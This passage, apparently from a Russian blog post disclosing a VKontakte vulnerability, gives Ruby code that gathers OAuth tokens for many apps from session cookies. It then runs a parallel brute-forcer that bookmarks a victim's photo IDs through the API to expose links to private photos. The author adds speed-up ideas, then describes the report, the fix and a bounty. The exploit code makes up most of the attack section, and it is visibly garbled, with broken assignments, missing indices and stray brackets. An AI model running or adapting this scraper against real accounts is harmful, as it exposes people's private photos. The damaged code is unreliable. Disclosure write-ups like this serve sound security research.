Class Authenticator attr_reader:access_tokens def initialize(cookie_header) @cookies = { "Cookie" => cookie_header } @access_tokens = end def authorize_apps(apps) apps.each do |app_id| auth_url = extract_auth_url_from(oauth_page(app_id)) redirect_url = open(auth_url, @cookies).base_uri.to_s access_tokens << extract_token_from(redirect_url) end end private def extract_auth_url_from(oauth_page_html) Nokogiri::HTML(oauth_page_html).css("form").attr("action").value end def extract_token_from(url) URI(url).fragment end def oauth_page(app_id) open(oauth_page_url(app_id), @cookies).read end def oauth_page_url(app_id) "https://oauth.vk.com/authorize?" + "client_id=#{app_id}&" + "response_type=token&" + "display=mobile&" + "scope=474367" end end
Сколько приложений найдено, столько и параллельных запросов. Для распараллеливания всего этого дела было решено использовать гем Typhoeus , который отлично зарекомендовал себя в других задачах. Получился такой вот небольшой брутфорсер:

Class PhotosBruteforcer PHOTOS_ID_BY_PERIOD = { "today" => 366300000..366500000, "yesterday" => 366050000..366300000, "current_month" => 365000000..366500000, "last_month" => 360000000..365000000, "current_year" => 350000000..366500000, "last_year" => 320000000..350000000 } def initialize(params) @victim_id = params[:victim_id] @period = PHOTOS_ID_BY_PERIOD] end def run(tokens) hydra = Typhoeus::Hydra.new tokensIterator = 0 (@period).step(25) do |photo_id| url = "https://api.vk.com/method/execute?access_token=#{tokens}&code=#{vkscript(photo_id)}" encoded_url = URI.escape(url).gsub("+", "%2B").delete("\n") tokensIterator = tokensIterator == tokens.count - 1 ? 0: tokensIterator + 1 hydra.queue Typhoeus::Request.new encoded_url hydra.run if tokensIterator.zero? end hydra.run unless hydra.queued_requests.count.zero? end private def vkscript(photo_id) <<-VKScript var start = #{photo_id}; var end = #{photo_id + 25}; var link = "http://vk.com/photo#{@victim_id}" + "_"; while(start != end) { API.fave.addLink({ "link": link + start }); start = start + 1; }; return start; VKScript end end
Чтобы ещё больше ускорить брутфорс, была попытка избавиться от ненужного тела в ответе, но на HEAD запрос сервер «Вконтакте» возвращает ошибку 501 Not implemented .

Окончательная версия скрипта выглядит так:

Require "nokogiri" require "open-uri" require "typhoeus" require "json" require "./standalone_apps_finder" require "./photos_bruteforcer" require "./authenticator" bruteforcer = PhotosBruteforcer.new(victim_id: ARGV, period: ARGV) apps_finder = StandaloneAppsFinder.new(in_range: 4800000..4800500) apps_finder.search # p,l - cookies from login.vk.com # remixsid - cookie from vk.com authenticator = Authenticator.new("p=;" + "l=;" + "remixsid=;") authenticator.authorize_apps(apps_finder.app_ids) bruteforcer.run(authenticator.access_tokens)
После отработки программы в закладках были все фотографии пользователя за заданный период. Оставалось только зайти в мобильную версию «Вконтакте», открыть консоль браузера, вытащить прямые ссылки и наслаждаться фотографиями в их оригинальном размере.

Итоги

В целом, всё зависит от вашего интернет соединения и скорости прокси серверов, латенси серверов «Вконтакте», мощности процессора и множества других факторов. Опробовав скрипт выше на своем аккаунте, получил такие вот цифры (без учета времени, потраченного на получение токенов):

В таблице показано среднее время, необходимое для того, чтобы перепробовать id фотографий за определенный период. Я уверен, всё это можно было ускорить раз так в 10-20. Например, в скрипте брутфорса сделать одну большую очередь из всех запросов и нормальную синхронизацию между ними, т.к. в моей реализации один запрос с timeout будет тормозить весь процесс. Да и вообще, можно было просто купить парочку инстансов на EC2, и за часик получить все фотографии какого угодно пользователя. Но я уже хотел спать.

Да и вообще, не важно, сколько времени злоумышленник на это потратит, 5 часов или же целый день, ведь так или иначе ссылки на приватные изображения он добудет. Возможность железно получить доступ к приватной информации за конечное время – и есть главная угроза, которую несёт данная уязвимость.

Сообщаем об уязвимости

Сначала репорт был отправлен службе поддержки, но после ответа вида «спасибо, как-нибудь пофиксим наверное…» и недели ожидания, мне что-то стало грустно. Большое спасибо , который помог связаться с разработчиками напрямую. После этого баги закрыли в течение нескольких часов, а через несколько дней на мой счёт администрация перевела вознаграждение в размере 10к